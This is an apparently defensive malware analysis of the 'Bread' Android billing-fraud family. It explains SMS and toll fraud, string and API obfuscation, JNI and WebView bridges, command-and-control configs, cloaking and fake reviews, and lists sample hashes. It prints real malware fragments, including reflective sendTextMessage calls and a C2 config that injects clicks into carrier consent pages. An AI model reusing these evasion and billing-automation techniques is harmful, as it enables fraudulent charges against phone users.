BILLING FRAUD
Bread apps typically fall into two categories: SMS fraud (older versions) and toll fraud (newer versions). Both of these types of fraud take advantage of mobile billing techniques involving the user’s carrier.SMS Billing
Carriers may partner with vendors to allow users to pay for services by SMS. The user simply needs to text a prescribed keyword to a prescribed number (shortcode). A charge is then added to the user’s bill with their mobile service provider.
Toll Billing
Carriers may also provide payment endpoints over a web page. The user visits the URL to complete the payment and enters their phone number. Verification that the request is coming from the user’s device is completed using two possible methods:- The user connects to the site over mobile data, not WiFi (so the service provider directly handles the connection and can validate the phone number); or
- The user must retrieve a code sent to them via SMS and enter it into the web page (thereby proving access to the provided phone number).
Fraud
Both of the billing methods detailed above provide device verification, but not user verification. The carrier can determine that the request originates from the user’s device, but does not require any interaction from the user that cannot be automated. Malware authors use injected clicks, custom HTML parsers and SMS receivers to automate the billing process without requiring any interaction from the user.STRING & DATA OBFUSCATION
Bread apps have used many innovative and classic techniques to hide strings from analysis engines. Here are some highlights.Standard Encryption
Frequently, Bread apps take advantage of standard crypto libraries in `java.util.crypto`. We have discovered apps using AES, Blowfish, and DES as well as combinations of these to encrypt their strings.Custom Encryption
Other variants have used custom-implemented encryption algorithms. Some common techniques include: basic XOR encryption, nested XOR and custom key-derivation methods. Some variants have gone so far as to use a different key for the strings of each class.Split Strings
Encrypted strings can be a signal that the code is trying to hide something. Bread has used a few tricks to keep strings in plaintext while preventing basic string matching.String click_code = new StringBuilder().append(".cli").append("ck();");
Going one step further, these substrings are sometimes scattered throughout the code, retrieved from static variables and method calls. Various versions may also change the index of the split (e.g. “.clic” and “k();”). Delimiters
Another technique to obfuscate unencrypted strings uses repeated delimiters. A short, constant string of characters is inserted at strategic points to break up keywords:String js = "javm6voTascrm6voTipt:window.SDFGHWEGSG.catcm6voThPage(docm6voTument.getElemm6voTentsByTm6voTagName('html')[m6voT0].innerHTML);"
At runtime, the delimiter is removed before using the string: js = js.replaceAll("m6voT", "");
API OBFUSCATION
SMS and toll fraud generally requires a few basic behaviors (for example, disabling WiFi or accessing SMS), which are accessible by a handful of APIs. Given that there are a limited number of behaviors required to identify billing fraud, Bread apps have had to try a wide variety of techniques to mask usage of these APIs.Reflection
Most methods for hiding API usage tend to use Java reflection in some way. In some samples, Bread has simply directly called the Reflect API on strings decrypted at runtime.Class smsManagerClass = Class.forName(p.a().decrypt("wI7HmhUo0OYTnO2rFy3yxE2DFECD2I9reFnmPF3LuAc=")); // android.telephony.SmsManager
smsManagerClass.getMethod(p.a().decrypt("0oXNjC4kzLwqnPK9BiL4qw=="), // sendTextMessage
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class).invoke(smsManagerClass.getMethod(p.a().decrypt("xoXXrB8n1b0LjYfIYUObrA==")).invoke(null), addr, null, message, null, null); // getDefault
JNI
Bread has also tested our ability to analyze native code. In one sample, no SMS-related code appears in the DEX file, but there is a native method registered.public static native void nativesend(String arg0, String arg1);Two strings are passed into the call, the shortcode and keyword used for SMS billing (getter methods renamed here for clarity).
JniManager.nativesend(this.get_shortcode(), this.get_keyword());In the native library, it stores the strings to access the SMS API.
nativesend method uses the Java Native Interface (JNI) to fetch and call the Android SMS API. The following is a screenshot from IDA with comments showing the strings and JNI functions. 
WebView JavaScript Interface
Continuing on the theme of cross-language bridges, Bread has also tried out some obfuscation methods utilizing JavaScript in WebViews. The following method is declared in the DEX. public void method1(String p7, String p8, String p9, String p10, String p11) {
Class v0_1 = Class.forName(p7);
Class[] v1_1 = new Class[0];
Object[] v3_1 = new Object[0];
Object v1_3 = v0_1.getMethod(p8, v1_1).invoke(0, v3_1);
Class[] v2_2 = new Class[5];
v2_2[0] = String.class;
v2_2[1] = String.class;
v2_2[2] = String.class;
v2_2[3] = android.app.PendingIntent.class;
v2_2[4] = android.app.PendingIntent.class;
reflect.Method v0_2 = v0_1.getMethod(p9, v2_2);
Object[] v2_4 = new Object[5];
v2_4[0] = p10;
v2_4[1] = 0;
v2_4[2] = p11;
v2_4[3] = 0;
v2_4[4] = 0;
v0_2.invoke(v1_3, v2_4);
}
Without context, this method does not reveal much about its intended behavior, and there are no calls made to it anywhere in the DEX. However, the app does create a WebView and registers a JavaScript interface to this class. this.webView.addJavascriptInterface(this, "stub");This gives JavaScript run in the WebView access to this method. The app loads a URL pointing to a Bread-controlled server. The response contains some basic HTML and JavaScript.
method1 can use reflection to call sendTextMessage and process the payment. PACKING
In addition to implementing custom obfuscation techniques, apps have used several commercially available packers including: Qihoo360, AliProtect and SecShell.More recently, we have seen Bread-related apps trying to hide malicious code in a native library shipped with the APK. Earlier this year, we discovered apps hiding a JAR in the data section of an ELF file which it then dynamically loads using
DexClassLoader. The figure below shows a fragment of encrypted JAR stored in .rodata section of a shared object shipped with the APK as well as the XOR key used for decryption.
COMMAND & CONTROL
Dynamic Shortcodes & Content
Early versions of Bread utilized a basic command and control infrastructure to dynamically deliver content and retrieve billing details. In the example server response below, the green fields show text to be shown to the user. The red fields are used as the shortcode and keyword for SMS billing.
State Machines
Since various carriers implement the billing process differently, Bread has developed several variants containing generalized state machines implementing all possible steps. At runtime, the apps can check which carrier the device is connected to and fetch a configuration object from the command and control server. The configuration contains a list of steps to execute with URLs and JavaScript.{
"message":"Success",
"result":[
{
"list":[
{
"endUrl":"http://sabai5555.com/",
"netType":0,
"number":1,
"offerId":"1009",
"step":1,
"trankUrl": "http://atracking-auto.appflood.com/transaction/post_click?offer_id=19190660&aff_id=10336"
},
{
"netType":0,
"number":2,
"offerId":"1009",
"params":"function jsFun(){document.getElementsByTagName('a')[1].click()};",
"step":2
},
{
"endUrl":"http://consentprt.dtac.co.th/webaoc/InformationPage",
"netType":0,
"number":3,
"offerId":"1009",
"params":"javascript:jsFun()",
"step":4
},
{
"endUrl":"http://consentprt.dtac.co.th/webaoc/SuccessPage",
"netType":0,
"number":4,
"offerId":"1009",
"params":"javascript:getOk()",
"step":3
},
{
"netType":0,
"number":5,
"offerId":"1009",
"step":7
}
],
"netType":0,
"offerId":"1009"
}
],
"code":"200"
}
The steps implemented include: - Load a URL in a WebView
- Run JavaScript in WebView
- Toggle WiFi state
- Toggle mobile data state
- Read/modify SMS inbox
- Solve captchas
Captchas
One of the more interesting states implements the ability to solve basic captchas (obscured letters and numbers). First, the app creates a JavaScript function to call a Java method,getImageBase64, exposed to WebView using addJavascriptInterface. 
GET_IMG_OBJECT comes from the JSON configuration. "params": "document.getElementById('captcha')"
The app then uses JavaScript injection to create a new script in the carrier’s web page to run the new function. 
CLOAKING
Client-side Carrier Checks
In our basic command & control example above, we didn’t address the (incorrectly labeled) “imei” field.{
"button": "ยินดีต้อนรับ",
"code": 0,
"content": "F10",
"imei": "52003,52005,52000",
"rule": "Here are all the pictures you need, about
happiness, beauty, beauty, etc., with our most
sincere service, to provide you with the most
complete resources.",
"service": "4219245"
}
This contains the Mobile Country Code (MCC) and Mobile Network Code (MNC) values that the billing process will work for. In this example, the server response contains several values for Thai carriers. The app checks if the device’s network matches one of those provided by the server. If it does, it will commence with the billing process. If the value does not match, the app skips the “disclosure” page and billing process and brings the user straight to the app content. In some versions, the server would only return valid responses several days after the apps were submitted.
Server-side Carrier Checks
In the JavaScript bridge API obfuscation example covered above, the server supplied the app with the necessary strings to complete the billing process. However, analysts may not always see the indicators of compromise in the server’s response.In this example, the requests to the server take the following form:
http://X.X.X.X/web?operator=52000&id=com.battery.fakepackage&deviceid=deadbeefdeadbeefdeadbeefdeadbeefHere, the “operator” query parameter is the Mobile Country Code and Mobile Network Code . The server can use this information to determine if the user’s carrier is one of Bread’s targets. If not, the response is scrubbed of the strings used to complete the billing fraud.
<a onclick="Sub()">ไปเดี๋ยวนี้</a>
<div style="display:none">
<p id="deviceid">deadbeefdeadbeefdeadbeefdeadbeef</p>
<p id="cmobi"></p>
<p id="deni"></p>
<p id="ssm"></p>
<p id="shortcode"></p>
<p id="keyword"></p>
</div>
MISLEADING USERS
Bread apps sometimes display a pop-up to the user that implies some form of compliance or disclosure, showing terms and conditions or a confirm button. However, the actual text would often only display a basic welcome message.
Other versions included all the pieces needed for a valid disclosure message.
“Apply Car Racing Clip \n Please enter your phone number for service details. \n Terms and Conditions \nFrom 9 Baht / day, you will receive 1 message / day. \nPlease stop the V4 printing service at 4739504 \n or call 02-697-9298 \n Monday - Friday at 8.30 - 5.30pm \n”
However, there are still two issues here:
- The numbers to contact for cancelling the subscription are not real
- The billing process commences even if you don’t hit the “Confirm” button
VERSIONING
Bread has also leveraged an abuse tactic unique to app stores: versioning. Some apps have started with clean versions, in an attempt to grow user bases and build the developer accounts’ reputations. Only later is the malicious code introduced, through an update. Interestingly, early “clean” versions contain varying levels of signals that the updates will include malicious code later. Some are first uploaded with all the necessary code except the one line that actually initializes the billing process. Others may have the necessary permissions, but are missing the classes containing the fraud code. And others have all malicious content removed, except for log comments referencing the payment process. All of these methods attempt to space out the introduction of possible signals in various stages, testing for gaps in the publication process. However, GPP does not treat new apps and updates any differently from an analysis perspective.FAKE REVIEWS
When early versions of apps are first published, many five star reviews appear with comments like:
“So..good..”
“very beautiful”
Later, 1 star reviews from real users start appearing with comments like:
“Deception”
“The app is not honest …”
SUMMARY
Sheer volume appears to be the preferred approach for Bread developers. At different times, we have seen three or more active variants using different approaches or targeting different carriers. Within each variant, the malicious code present in each sample may look nearly identical with only one evasion technique changed. Sample 1 may use AES-encrypted strings with reflection, while Sample 2 (submitted on the same day) will use the same code but with plaintext strings.At peak times of activity, we have seen up to 23 different apps from this family submitted to Play in one day. At other times, Bread appears to abandon hope of making a variant successful and we see a gap of a week or longer before the next variant. This family showcases the amount of resources that malware authors now have to expend. Google Play Protect is constantly updating detection engines and warning users of malicious apps installed on their device.
SELECTED SAMPLES
| Package Name | SHA-256 Digest |
| com.rabbit.artcamera | 18c277c7953983f45f2fe6ab4c7d872b2794c256604e43500045cb2b2084103f |
| org.horoscope.astrology.predict | 6f1a1dbeb5b28c80ddc51b77a83c7a27b045309c4f1bff48aaff7d79dfd4eb26 |
| com.theforest.rotatemarswallpaper | 4e78a26832a0d471922eb61231bc498463337fed8874db5f70b17dd06dcb9f09 |
| com.jspany.temp | 0ce78efa764ce1e7fb92c4de351ec1113f3e2ca4b2932feef46d7d62d6ae87f5 |
| com.hua.ru.quan | 780936deb27be5dceea20a5489014236796a74cc967a12e36cb56d9b8df9bc86 |
| com.rongnea.udonood | 8b2271938c524dd1064e74717b82e48b778e49e26b5ac2dae8856555b5489131 |
| com.mbv.a.wp | 01611e16f573da2c9dbc7acdd445d84bae71fecf2927753e341d8a5652b89a68 |
| com.pho.nec.sg | b4822eeb71c83e4aab5ddfecfb58459e5c5e10d382a2364da1c42621f58e119b |
- Jackson Sui, Interactive Media Ads Developer Relations
